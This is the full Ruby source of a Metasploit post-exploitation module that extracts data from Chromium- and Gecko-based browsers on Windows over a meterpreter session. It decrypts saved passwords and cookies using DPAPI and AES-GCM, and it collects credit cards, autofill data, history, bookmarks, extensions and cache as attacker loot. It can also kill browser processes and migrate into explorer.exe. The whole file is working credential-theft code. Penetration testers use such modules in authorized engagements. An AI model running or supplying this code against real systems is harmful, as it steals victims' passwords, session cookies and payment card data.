require 'sqlite3' class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::UserProfiles IV_SIZE = 12 TAG_SIZE = 16 def initialize(info = {}) super( update_info( info, 'Name' => 'Advanced Browser Data Extraction for Chromium and Gecko Browsers', 'Description' => %q{ This post-exploitation module extracts sensitive browser data from both Chromium-based and Gecko-based browsers on the target system. It supports the decryption of passwords and cookies using Windows Data Protection API (DPAPI) and can extract additional data such as browsing history, keyword search history, download history, autofill data, credit card information, browser cache and installed extensions. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Targets' => [['Windows', {}]], 'SessionTypes' => ['meterpreter'], 'Author' => ['Alexander "xaitax" Hagenah'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptBool.new('KILL_BROWSER', [false, 'Kill browser processes before extracting data.', false]), OptBool.new('USER_MIGRATION', [false, 'Migrate to explorer.exe running under user context before extraction.', false]), OptString.new('BROWSER_TYPE', [true, 'Specify which browser to extract data from. Accepts "all" to process all browsers, "chromium" for Chromium-based browsers, "gecko" for Gecko-based browsers, or a specific browser name (e.g., "chrome", "edge", "firefox").', 'all']), OptBool.new('EXTRACT_CACHE', [false, 'Extract browser cache (may take a long time). It is recommended to set "KILL_BROWSER" to "true" for best results, as this prevents file access issues.', false]) ]) end def run if session.type != 'meterpreter' print_error('This module requires a meterpreter session.') return end user_account = session.sys.config.getuid if user_account.downcase.include?('nt authority\\system') if datastore['USER_MIGRATION'] migrate_to_explorer else print_error('Session is running as SYSTEM. Use the Meterpreter migrate command or set USER_MIGRATION to true to switch to a user context.') return end end sysinfo = session.sys.config.sysinfo os = sysinfo['OS'] architecture = sysinfo['Architecture'] language = sysinfo['System Language'] computer = sysinfo['Computer'] user_profile = get_env('USERPROFILE') user_account = session.sys.config.getuid ip_address = session.sock.peerhost if user_profile.nil? || user_profile.empty? print_error('Could not determine the current user profile directory.') return end print_status("Targeting: #{user_account} (IP: #{ip_address})") print_status("System Information: #{computer} | OS: #{os} | Arch: #{architecture} | Lang: #{language}") print_status("Starting data extraction from user profile: #{user_profile}") print_status('') case datastore['BROWSER_TYPE'].downcase when 'chromium' process_chromium_browsers(user_profile) when 'gecko' process_gecko_browsers(user_profile) when 'all' process_chromium_browsers(user_profile) process_gecko_browsers(user_profile) else process_specific_browser(user_profile, datastore['BROWSER_TYPE']) end end def migrate_to_explorer current_pid = session.sys.process.getpid explorer_process = session.sys.process.get_processes.find { |p| p['name'].downcase == 'explorer.exe' } if explorer_process explorer_pid = explorer_process['pid'] if explorer_pid == current_pid print_status("Already running in explorer.exe (PID: #{explorer_pid}). No need to migrate.") return end print_status("Found explorer.exe running with PID: #{explorer_pid}. Attempting migration.") begin session.core.migrate(explorer_pid) print_good("Successfully migrated to explorer.exe (PID: #{explorer_pid}).") rescue Rex::Post::Meterpreter::RequestError => e print_error("Failed to migrate to explorer.exe (PID: #{explorer_pid}). Error: #{e.message}") end else print_error('explorer.exe process not found. Migration aborted.') end end def chromium_browsers { 'Microsoft\\Edge\\' => 'Microsoft Edge', 'Google\\Chrome\\' => 'Google Chrome', 'Opera Software\\Opera Stable' => 'Opera', 'Iridium\\' => 'Iridium', 'Chromium\\' => 'Chromium', 'BraveSoftware\\Brave-Browser\\' => 'Brave', 'CentBrowser\\' => 'CentBrowser', 'Chedot\\' => 'Chedot', 'Orbitum\\' => 'Orbitum', 'Comodo\\Dragon\\' => 'Comodo Dragon', 'Yandex\\YandexBrowser\\' => 'Yandex Browser', '7Star\\7Star\\' => '7Star', 'Torch\\' => 'Torch', 'MapleStudio\\ChromePlus\\' => 'ChromePlus', 'Kometo\\' => 'Komet', 'Amigo\\' => 'Amigo', 'Sputnik\\Sputnik\\' => 'Sputnik', 'CatalinaGroup\\Citrio\\' => 'Citrio', '360Chrome\\Chrome\\' => '360Chrome', 'uCozMedia\\Uran\\' => 'Uran', 'liebao\\' => 'Liebao', 'Elements Browser\\' => 'Elements Browser', 'Epic Privacy Browser\\' => 'Epic Privacy Browser', 'CocCoc\\Browser\\' => 'CocCoc Browser', 'Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer' => 'Sleipnir', 'QIP Surf\\' => 'QIP Surf', 'Coowon\\Coowon\\' => 'Coowon', 'Vivaldi\\' => 'Vivaldi' } end def gecko_browsers { 'Mozilla\\Firefox\\' => 'Mozilla Firefox', 'Thunderbird\\' => 'Thunderbird', 'Mozilla\\SeaMonkey\\' => 'SeaMonkey', 'NETGATE Technologies\\BlackHawk\\' => 'BlackHawk', '8pecxstudios\\Cyberfox\\' => 'Cyberfox', 'K-Meleon\\' => 'K-Meleon', 'Mozilla\\icecat\\' => 'Icecat', 'Moonchild Productions\\Pale Moon\\' => 'Pale Moon', 'Comodo\\IceDragon\\' => 'Comodo IceDragon', 'Waterfox\\' => 'Waterfox', 'Postbox\\' => 'Postbox', 'Flock\\Browser\\' => 'Flock Browser' } end def process_specific_browser(user_profile, browser_type) found = false browser_type_downcase = browser_type.downcase chromium_browsers.each do |path, name| next unless name.downcase.include?(browser_type_downcase) print_status("Processing Chromium-based browser: #{name}") process_chromium_browsers(user_profile, { path => name }) found = true break end gecko_browsers.each do |path, name| next unless name.downcase.include?(browser_type_downcase) print_status("Processing Gecko-based browser: #{name}") process_gecko_browsers(user_profile, { path => name }) found = true break end unless found print_error("No browser matching '#{browser_type}' found.") end end def process_chromium_browsers(user_profile, browsers = chromium_browsers) browsers.each do |path, name| if name == 'Opera' profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Default" local_state = "#{user_profile}\\AppData\\Roaming\\#{path}\\Local State" else profile_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Default" browser_version_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Last Version" local_state = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Local State" end next unless directory?(profile_path) browser_version = get_chromium_version(browser_version_path) print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}") kill_browser_process(name) if datastore['KILL_BROWSER'] if datastore['EXTRACT_CACHE'] process_chromium_cache(profile_path, name) end encryption_key = get_chromium_encryption_key(local_state) extract_chromium_data(profile_path, encryption_key, name) end end def get_chromium_version(last_version_path) return nil unless file?(last_version_path) version = read_file(last_version_path).strip return version unless version.empty? nil end def process_gecko_browsers(user_profile, browsers = gecko_browsers) browsers.each do |path, name| profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Profiles" next unless directory?(profile_path) found_browser = false session.fs.dir.entries(profile_path).each do |profile_dir| next if profile_dir == '.' || profile_dir == '..' prefs_file = "#{profile_path}\\#{profile_dir}\\prefs.js" browser_version = get_gecko_version(prefs_file) unless found_browser print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}") found_browser = true end kill_browser_process(name) if datastore['KILL_BROWSER'] if datastore['EXTRACT_CACHE'] process_gecko_cache("#{profile_path}\\#{profile_dir}", name) end extract_gecko_data("#{profile_path}\\#{profile_dir}", name) end end end def get_gecko_version(prefs_file) return nil unless file?(prefs_file) version_line = read_file(prefs_file).lines.find { |line| line.include?('extensions.lastAppVersion') } if version_line && version_line =~ /"extensions\.lastAppVersion",\s*"(\d+\.\d+\.\d+)"/ return Regexp.last_match(1) end nil end def kill_browser_process(browser) browser_process_names = { 'Microsoft Edge' => 'msedge.exe', 'Google Chrome' => 'chrome.exe', 'Opera' => 'opera.exe', 'Iridium' => 'iridium.exe', 'Chromium' => 'chromium.exe', 'Brave' => 'brave.exe', 'CentBrowser' => 'centbrowser.exe', 'Chedot' => 'chedot.exe', 'Orbitum' => 'orbitum.exe', 'Comodo Dragon' => 'dragon.exe', 'Yandex Browser' => 'browser.exe', '7Star' => '7star.exe', 'Torch' => 'torch.exe', 'ChromePlus' => 'chromeplus.exe', 'Komet' => 'komet.exe', 'Amigo' => 'amigo.exe', 'Sputnik' => 'sputnik.exe', 'Citrio' => 'citrio.exe', '360Chrome' => '360chrome.exe', 'Uran' => 'uran.exe', 'Liebao' => 'liebao.exe', 'Elements Browser' => 'elementsbrowser.exe', 'Epic Privacy Browser' => 'epic.exe', 'CocCoc Browser' => 'browser.exe', 'Sleipnir' => 'sleipnir.exe', 'QIP Surf' => 'qipsurf.exe', 'Coowon' => 'coowon.exe', 'Vivaldi' => 'vivaldi.exe' } process_name = browser_process_names[browser] return unless process_name session.sys.process.get_processes.each do |process| next unless process['name'].downcase == process_name.downcase begin session.sys.process.kill(process['pid']) rescue Rex::Post::Meterpreter::RequestError next end end sleep(5) end def decrypt_chromium_data(encrypted_data) vprint_status('Starting DPAPI decryption process.') begin mem = session.railgun.kernel32.LocalAlloc(0, encrypted_data.length)['return'] raise 'Memory allocation failed.' if mem == 0 session.railgun.memwrite(mem, encrypted_data) if session.arch == ARCH_X86 inout_fmt = 'V2' elsif session.arch == ARCH_X64 inout_fmt = 'Q2' else fail_with(Failure::NoTarget, "Unsupported architecture: #{session.arch}") end pdatain = [encrypted_data.length, mem].pack(inout_fmt) ret = session.railgun.crypt32.CryptUnprotectData( pdatain, nil, nil, nil, nil, 0, 2048 ) len, addr = ret['pDataOut'].unpack(inout_fmt) decrypted_data = len == 0 ? nil : session.railgun.memread(addr, len) vprint_good('Decryption successful.') return decrypted_data.strip rescue StandardError => e vprint_error("Error during DPAPI decryption: #{e.message}") return nil ensure session.railgun.kernel32.LocalFree(mem) if mem != 0 session.railgun.kernel32.LocalFree(addr) if addr != 0 end end def get_chromium_encryption_key(local_state_path) vprint_status("Getting encryption key from: #{local_state_path}") if file?(local_state_path) local_state = read_file(local_state_path) json_state = begin JSON.parse(local_state) rescue StandardError nil end if json_state.nil? print_error('Failed to parse JSON from Local State file.') return nil end if json_state['os_crypt'] && json_state['os_crypt']['encrypted_key'] encrypted_key = json_state['os_crypt']['encrypted_key'] encrypted_key_bin = begin Rex::Text.decode_base64(encrypted_key)[5..] rescue StandardError nil end if encrypted_key_bin.nil? print_error('Failed to Base64 decode the encrypted key.') return nil end vprint_status("Encrypted key (Base64-decoded, hex): #{encrypted_key_bin.unpack('H*').first}") decrypted_key = decrypt_chromium_data(encrypted_key_bin) if decrypted_key.nil? || decrypted_key.length != 32 vprint_error("Decrypted key is not 32 bytes: #{decrypted_key.nil? ? 'nil' : decrypted_key.length} bytes") if decrypted_key.length == 31 vprint_status('Decrypted key is 31 bytes, attempting to pad key for decryption.') decrypted_key += "\x00" else return nil end end vprint_good("Decrypted key (hex): #{decrypted_key.unpack('H*').first}") return decrypted_key else print_error('os_crypt or encrypted_key not found in Local State.') return nil end else print_error("Local State file not found at: #{local_state_path}") return nil end end def decrypt_chromium_password(encrypted_password, key) @app_bound_encryption_detected ||= false @password_decryption_failed ||= false # Check for the "v20" prefix that indicates App-Bound encryption, which can't be decrypted yet. # https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html if encrypted_password[0, 3] == 'v20' unless @app_bound_encryption_detected vprint_status('Detected entries using App-Bound encryption (v20). These entries will not be decrypted.') @app_bound_encryption_detected = true end return nil end if encrypted_password.nil? || encrypted_password.length < (IV_SIZE + TAG_SIZE + 3) vprint_error('Invalid encrypted password length.') return nil end iv = encrypted_password[3, IV_SIZE] ciphertext = encrypted_password[IV_SIZE + 3...-TAG_SIZE] tag = encrypted_password[-TAG_SIZE..] if iv.nil? || iv.length != IV_SIZE vprint_error("Invalid IV: expected #{IV_SIZE} bytes, got #{iv.nil? ? 'nil' : iv.length} bytes") return nil end begin aes = OpenSSL::Cipher.new('aes-256-gcm') aes.decrypt aes.key = key aes.iv = iv aes.auth_tag = tag decrypted_password = aes.update(ciphertext) + aes.final return decrypted_password rescue OpenSSL::Cipher::CipherError unless @password_decryption_failed vprint_status('Password decryption failed for one or more entries. These entries could not be decrypted.') @password_decryption_failed = true end return nil end end def extract_chromium_data(profile_path, encryption_key, browser) return print_error("Profile path #{profile_path} not found.") unless directory?(profile_path) process_chromium_logins(profile_path, encryption_key, browser) process_chromium_cookies(profile_path, encryption_key, browser) process_chromium_credit_cards(profile_path, encryption_key, browser) process_chromium_download_history(profile_path, browser) process_chromium_autofill_data(profile_path, browser) process_chromium_keyword_search_history(profile_path, browser) process_chromium_browsing_history(profile_path, browser) process_chromium_bookmarks(profile_path, browser) process_chromium_extensions(profile_path, browser) end def process_chromium_logins(profile_path, encryption_key, browser) login_data_path = "#{profile_path}\\Login Data" if file?(login_data_path) extract_sql_data(login_data_path, 'SELECT origin_url, username_value, password_value FROM logins', 'Passwords', browser, encryption_key) else vprint_error("Passwords not found at #{login_data_path}") end end def process_chromium_cookies(profile_path, encryption_key, browser) cookies_path = "#{profile_path}\\Network\\Cookies" if file?(cookies_path) begin extract_sql_data(cookies_path, 'SELECT host_key, name, path, encrypted_value FROM cookies', 'Cookies', browser, encryption_key) rescue StandardError => e if e.message.include?('core_channel_open') print_error('└ Cannot access Cookies. File in use by another process.') else print_error("└ An error occurred while extracting cookies: #{e.message}") end end else vprint_error("└ Cookies not found at #{cookies_path}") end end def process_chromium_credit_cards(profile_path, encryption_key, browser) credit_card_data_path = "#{profile_path}\\Web Data" if file?(credit_card_data_path) extract_sql_data(credit_card_data_path, 'SELECT * FROM credit_cards', 'Credit Cards', browser, encryption_key) else vprint_error("Credit Cards not found at #{credit_card_data_path}") end end def process_chromium_download_history(profile_path, browser) download_history_path = "#{profile_path}\\History" if file?(download_history_path) extract_sql_data(download_history_path, 'SELECT * FROM downloads', 'Download History', browser) else vprint_error("Download History not found at #{download_history_path}") end end def process_chromium_autofill_data(profile_path, browser) autofill_data_path = "#{profile_path}\\Web Data" if file?(autofill_data_path) extract_sql_data(autofill_data_path, 'SELECT * FROM autofill', 'Autofill Data', browser) else vprint_error("Autofill data not found at #{autofill_data_path}") end end def process_chromium_keyword_search_history(profile_path, browser) keyword_search_history_path = "#{profile_path}\\History" if file?(keyword_search_history_path) extract_sql_data(keyword_search_history_path, 'SELECT term FROM keyword_search_terms', 'Keyword Search History', browser) else vprint_error("Keyword Search History not found at #{keyword_search_history_path}") end end def process_chromium_browsing_history(profile_path, browser) browsing_history_path = "#{profile_path}\\History" if file?(browsing_history_path) extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_time FROM urls', 'Browsing History', browser) else vprint_error("Browsing History not found at #{browsing_history_path}") end end def process_chromium_bookmarks(profile_path, browser) bookmarks_path = "#{profile_path}\\Bookmarks" return unless file?(bookmarks_path) bookmarks_data = read_file(bookmarks_path) bookmarks_json = JSON.parse(bookmarks_data) bookmarks = [] if bookmarks_json['roots']['bookmark_bar'] traverse_and_collect_bookmarks(bookmarks_json['roots']['bookmark_bar'], bookmarks) end if bookmarks_json['roots']['other'] traverse_and_collect_bookmarks(bookmarks_json['roots']['other'], bookmarks) end if bookmarks.any? browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost bookmark_entries = JSON.pretty_generate(bookmarks) file_name = store_loot("#{browser_clean}_Bookmarks", 'application/json', session, bookmark_entries, "#{timestamp}_#{ip}_#{browser_clean}_Bookmarks.json", "#{browser_clean} Bookmarks") print_good("└ Bookmarks extracted to #{file_name} (#{bookmarks.length} entries)") else vprint_error("No bookmarks found for #{browser}.") end end def traverse_and_collect_bookmarks(bookmark_node, bookmarks) if bookmark_node['children'] bookmark_node['children'].each do |child| if child['type'] == 'url' bookmarks << { name: child['name'], url: child['url'] } elsif child['type'] == 'folder' && child['children'] traverse_and_collect_bookmarks(child, bookmarks) end end end end def process_chromium_extensions(profile_path, browser) extensions_dir = "#{profile_path}\\Extensions\\" return unless directory?(extensions_dir) extensions = [] session.fs.dir.entries(extensions_dir).each do |extension_id| extension_path = "#{extensions_dir}\\#{extension_id}" next unless directory?(extension_path) session.fs.dir.entries(extension_path).each do |version_folder| next if version_folder == '.' || version_folder == '..' manifest_path = "#{extension_path}\\#{version_folder}\\manifest.json" next unless file?(manifest_path) manifest_data = read_file(manifest_path) manifest_json = JSON.parse(manifest_data) extension_name = manifest_json['name'] extension_version = manifest_json['version'] if extension_name.start_with?('__MSG_') extension_name = resolve_chromium_extension_name(extension_path, extension_name, version_folder) end extensions << { 'name' => extension_name, 'version' => extension_version } end end if extensions.any? browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions") print_good("└ Extensions extracted to #{file_name} (#{extensions.count} entries)") else vprint_error("No extensions found for #{browser}.") end end def resolve_chromium_extension_name(extension_path, name_key, version_folder) resolved_key = name_key.gsub('__MSG_', '').gsub('__', '') locales_dir = "#{extension_path}\\#{version_folder}\\_locales" unless directory?(locales_dir) return name_key end english_messages_path = "#{locales_dir}\\en\\messages.json" if file?(english_messages_path) messages_data = read_file(english_messages_path) messages_json = JSON.parse(messages_data) messages_json.each do |key, value| if key.casecmp?(resolved_key) && value['message'] return value['message'] end end return name_key end session.fs.dir.entries(locales_dir).each do |locale_folder| next if locale_folder == '.' || locale_folder == '..' || locale_folder == 'en' messages_path = "#{locales_dir}\\#{locale_folder}\\messages.json" next unless file?(messages_path) messages_data = read_file(messages_path) messages_json = JSON.parse(messages_data) messages_json.each do |key, value| if key.casecmp?(resolved_key) && value['message'] return value['message'] end end end return name_key end def process_chromium_cache(profile_path, browser) cache_dir = "#{profile_path}\\Cache\\" return unless directory?(cache_dir) total_size = 0 file_count = 0 files_to_zip = [] session.fs.dir.foreach(cache_dir) do |subdir| next if subdir == '.' || subdir == '..' subdir_path = "#{cache_dir}\\#{subdir}" if directory?(subdir_path) session.fs.dir.foreach(subdir_path) do |file| next if file == '.' || file == '..' file_path = "#{subdir_path}\\#{file}" if file?(file_path) file_stat = session.fs.file.stat(file_path) file_size = file_stat.stathash['st_size'] total_size += file_size file_count += 1 files_to_zip << file_path end end end end print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB") if file_count > 0 temp_dir = session.fs.file.expand_path('%TEMP%') random_name = Rex::Text.rand_text_alpha(8) zip_file_path = "#{temp_dir}\\#{random_name}.zip" zip = Rex::Zip::Archive.new progress_interval = (file_count / 10.0).ceil files_to_zip.each_with_index do |file, index| file_content = read_file(file) zip.add_file(file, file_content) if file_content if (index + 1) % progress_interval == 0 || index == file_count - 1 progress_percent = ((index + 1) * 100 / file_count).to_i print_status("Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)") end end write_file(zip_file_path, zip.pack) print_status("Cache for #{browser} zipped to: #{zip_file_path}") browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost cache_local_path = store_loot( "#{browser_clean}_Cache", 'application/zip', session, read_file(zip_file_path), "#{timestamp}_#{ip}_#{browser_clean}_Cache.zip", "#{browser_clean} Cache" ) file_size = ::File.size(cache_local_path) print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2 session.fs.file.rm(zip_file_path) else vprint_status("No Cache files found for #{browser}.") end end def extract_gecko_data(profile_path, browser) process_gecko_logins(profile_path, browser) process_gecko_cookies(profile_path, browser) process_gecko_download_history(profile_path, browser) process_gecko_keyword_search_history(profile_path, browser) process_gecko_browsing_history(profile_path, browser) process_gecko_bookmarks(profile_path, browser) process_gecko_extensions(profile_path, browser) end def process_gecko_logins(profile_path, browser) logins_path = "#{profile_path}\\logins.json" return unless file?(logins_path) logins_data = read_file(logins_path) logins_json = JSON.parse(logins_data) if logins_json['logins'].any? browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost file_name = store_loot("#{browser_clean}_Passwords", 'application/json', session, "#{JSON.pretty_generate(logins_json)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Passwords.json", "#{browser_clean} Passwords") print_good("└ Passwords extracted to #{file_name} (#{logins_json['logins'].length} entries)") else vprint_error("└ No passwords found for #{browser}.") end end def process_gecko_cookies(profile_path, browser) cookies_path = "#{profile_path}\\cookies.sqlite" if file?(cookies_path) extract_sql_data(cookies_path, 'SELECT host, name, path, value, expiry FROM moz_cookies', 'Cookies', browser) else vprint_error("└ Cookies not found at #{cookies_path}") end end def process_gecko_download_history(profile_path, browser) download_history_path = "#{profile_path}\\places.sqlite" if file?(download_history_path) extract_sql_data(download_history_path, 'SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id', 'Download History', browser) else vprint_error("└ Download History not found at #{download_history_path}") end end def process_gecko_keyword_search_history(profile_path, browser) keyword_search_history_path = "#{profile_path}\\formhistory.sqlite" if file?(keyword_search_history_path) extract_sql_data(keyword_search_history_path, 'SELECT value FROM moz_formhistory', 'Keyword Search History', browser) else vprint_error("└ Keyword Search History not found at #{keyword_search_history_path}") end end def process_gecko_browsing_history(profile_path, browser) browsing_history_path = "#{profile_path}\\places.sqlite" if file?(browsing_history_path) extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_date FROM moz_places', 'Browsing History', browser) else vprint_error("└ Browsing History not found at #{browsing_history_path}") end end def process_gecko_bookmarks(profile_path, browser) bookmarks_path = "#{profile_path}\\places.sqlite" if file?(bookmarks_path) extract_sql_data(bookmarks_path, 'SELECT moz_bookmarks.title AS title, moz_places.url AS url FROM moz_bookmarks JOIN moz_places ON moz_bookmarks.fk = moz_places.id', 'Bookmarks', browser) else vprint_error("└ Bookmarks not found at #{bookmarks_path}") end end def process_gecko_extensions(profile_path, browser) addons_path = "#{profile_path}\\addons.json" return unless file?(addons_path) addons_data = read_file(addons_path) addons_json = JSON.parse(addons_data) extensions = [] if addons_json['addons'] addons_json['addons'].each do |addon| extension_name = addon['name'] extension_version = addon['version'] extensions << { 'name' => extension_name, 'version' => extension_version } end end if extensions.any? browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions") print_good("└ Extensions extracted to #{file_name} (#{extensions.length} entries)") else vprint_error("└ No extensions found for #{browser}.") end end def process_gecko_cache(profile_path, browser) cache_dir = "#{profile_path.gsub('Roaming', 'Local')}\\cache2\\entries" return unless directory?(cache_dir) total_size = 0 file_count = 0 files_to_zip = [] session.fs.dir.foreach(cache_dir) do |file| next if file == '.' || file == '..' file_path = "#{cache_dir}\\#{file}" if file?(file_path) file_stat = session.fs.file.stat(file_path) file_size = file_stat.stathash['st_size'] total_size += file_size file_count += 1 files_to_zip << file_path end end print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB") if file_count > 0 temp_dir = session.fs.file.expand_path('%TEMP%') random_name = Rex::Text.rand_text_alpha(8) zip_file_path = "#{temp_dir}\\#{random_name}.zip" zip = Rex::Zip::Archive.new progress_interval = (file_count / 10.0).ceil files_to_zip.each_with_index do |file, index| file_content = read_file(file) zip.add_file(file, file_content) if file_content if (index + 1) % progress_interval == 0 || index == file_count - 1 progress_percent = ((index + 1) * 100 / file_count).to_i print_status("└ Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)") end end write_file(zip_file_path, zip.pack) print_status("└ Cache for #{browser} zipped to: #{zip_file_path}") browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost cache_local_path = store_loot( "#{browser_clean}_Cache", 'application/zip', session, read_file(zip_file_path), "#{timestamp}_#{ip}_#{browser_clean}_Cache.zip", "#{browser_clean} Cache" ) file_size = ::File.size(cache_local_path) print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2 session.fs.file.rm(zip_file_path) else vprint_status("└ No Cache files found for #{browser}.") end end def extract_sql_data(db_path, query, data_type, browser, encryption_key = nil) if file?(db_path) db_local_path = "#{Rex::Text.rand_text_alpha(8, 12)}.db" session.fs.file.download_file(db_local_path, db_path) begin columns, *result = SQLite3::Database.open(db_local_path) do |db| db.execute2(query) end if encryption_key result.each do |row| next unless row[-1] if data_type == 'Cookies' && row[-1].length >= (IV_SIZE + TAG_SIZE + 3) row[-1] = decrypt_chromium_password(row[-1], encryption_key) elsif data_type == 'Passwords' && row[2].length >= (IV_SIZE + TAG_SIZE + 3) row[2] = decrypt_chromium_password(row[2], encryption_key) end end end if result.any? browser_clean = browser.gsub('\\', '_').chomp('_') timestamp = Time.now.strftime('%Y%m%d%H%M') ip = session.sock.peerhost result = result.map { |row| columns.zip(row).to_h } data = "#{JSON.pretty_generate(result)}\n" file_name = store_loot("#{browser_clean}_#{data_type}", 'application/json', session, data, "#{timestamp}_#{ip}_#{browser_clean}_#{data_type}.json", "#{browser_clean} #{data_type.capitalize}") print_good("└ #{data_type.capitalize} extracted to #{file_name} (#{result.length} entries)") else vprint_error("└ #{data_type.capitalize} empty") end ensure ::File.delete(db_local_path) if ::File.exist?(db_local_path) end end end end